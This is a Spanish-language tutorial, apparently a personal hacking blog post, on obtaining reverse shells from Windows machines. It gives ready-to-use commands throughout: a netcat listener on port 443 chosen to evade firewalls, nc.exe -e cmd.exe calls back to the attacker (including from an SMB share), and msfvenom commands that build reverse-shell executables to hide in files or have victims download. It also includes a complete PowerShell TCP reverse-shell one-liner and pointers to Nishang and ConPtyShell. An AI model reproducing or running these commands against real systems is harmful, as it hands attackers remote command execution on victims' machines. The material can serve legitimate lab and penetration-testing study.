Reverse Shells en Windows
He hecho este artículo ya que las reverse shells
en Windows
son diferentes a Linux y ya que he empezado a aprender Hacking para Windows, ya que en linux ya soy capaz de resolver maquinas sin ayuda pues se me ha ocurrido hacer este post.
PONERNOS A LA ESCUCHA:
Lo primero, antes de mandarnos una consola desde la máquina víctima necesitamos un puerto
donde estemos a la escucha
para que nos llegue ahí la shell.
Para esto solemos utilizar el puerto 443/tcp
, ya que es un puerto por el cual se transmiten datos en casos de páginas web, ya que es el puerto por el cual suelen correr los servicios https
. Por lo tanto, los firewalls y antivirus
pueden detectar
datos transmitirse por ese puerto, pero no le dan importancia
, ya que es normal que se manden datos por ahí. Y, por lo tanto, somos menos detectables
.
Para esto utilizaremos el siguiente comando
estando en root
:
> nc -nlvp 443
listening on [any] 443 ...
FORMA MEJORADA
Por lo que he estado viendo hay un comando que funciona mejor ya que nos permite utilizar atajos de teclado como Ctl+L
:
> rlwrap nc -nlvp 443
listening on [any] 443 ...
MANDARNOS UNA REVERSE SHELL
Nc.exe
Este binario es similar a netcat
en Linux
, pero este funciona en Windows
, tanto en 32, como en 64 bits.
Para esto usaremos el siguiente comando:
> nc.exe -e cmd.exe <nuestra ip> 443
En caso de que no este instalado lo podemos descargar desde: https://github.com/int0x33/nc.exe/
Con eso podemos mandarlo en un archivo malicioso y que lo ejecute o que el archivo lo descargue…
Pero también podemos montarnos un servidor SMB
y utilizarlo desde ahí poniendo el siguiente comando en la máquina Windows:
> \\192.168.118.10\pwned\nc.exe -e cmd.exe <ip> <puerto>
Msfvenom
Msfvenom no solo es útil cuando nos generamos shellcodes
para los Buffer Overflow
, también lo es para crear binarios que nos ejecuten una shell en Windows
. En concreto, los dos payloads que nos pueden interesar
(aunque hay más y de muchos tipos) son los siguientes:
> msfvenom -l payloads | grep -i 'windows' | grep -i '/shell_reverse'
windows/shell_reverse/tcp Connect back to attacker and spawn a command shell
windows/x64/shell_reverse/tcp Connect back to attacker and spawn a command shell (Windows x64)
Si la máquina víctima es de 32 bits
usaremos el primero y si es de 64
usaremos el segundo.
Con el siguiente comando creamos un ejecutable
que si lo ejecutamos en la máquina víctima nos mandará una reverse shell
. Claro, para eso tendremos que ocultarlo
dentro de otro archivo, o también podríamos ponerlo en un servidor web hecho con python y que la máquina víctima lo descargue y lo ejecute, pero no me quiero extender mas aquí.
> msfvenom -p <payload> LHOST=<ip> LPORT=443 -a x<arquitectura> -f exe -o shell.exe
Powershell Reverse Shell One-Liner
En Powershell
que es un lenguaje muy potente que maneja Windows
hay un comando con el que nos podemos mandar una reverse shell con una única linea de codigo:
> $client = New-Object System.Net.Sockets.TCPClient("<tu IP>",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
No es muy recomendable utilizar este metodo para obtener acceso desde una webshell
o desde una cmd
, pero es muy util para Rubber Duckys
.
Nishang
Nishang es un repositorio
el cual contiene una gran cantidad de scripts
de powershell usados para la seguridad ofensiva. Su repositorio oficial es el que podéis visitar en este enlace: https://github.com/samratashok/nishang
Entre todos los scripts que tiene, hay uno
en concreto bastante famoso llamado Invoke-PowerShellTcp.ps1
, el cual, como no, nos invoca una reverse shell con una powershell
:
El script no es más que una función en powershell
, por lo que tenemos dos opciones:
· Descargar y cargar el script de forma local, y posteriormente ejecutar la función con los argumentos para una reverse shell.
· Cargar el script de forma remota y que en la misma acción donde lo carga, posteriormente ejecute la función con los argumentos para la reverse shell, todo en un paso.
ConPtyShell
ConPtyShell es una herramienta la cual nos permite obtener una shell completamente interactiva
en sistemas Windows. Esto quiere decir que podemos hacer Ctrl+C
sin peligro a perder la shell o podemos recuperar comandos usados previamente usando la flechita hacia arriba. Su repositorio oficial lo podéis encontrar en este enlace: https://github.com/antonioCoco/ConPtyShell
La forma de ejecutarlo
es la misma que con el script anterior, ya que ambos son scripts en powershell
.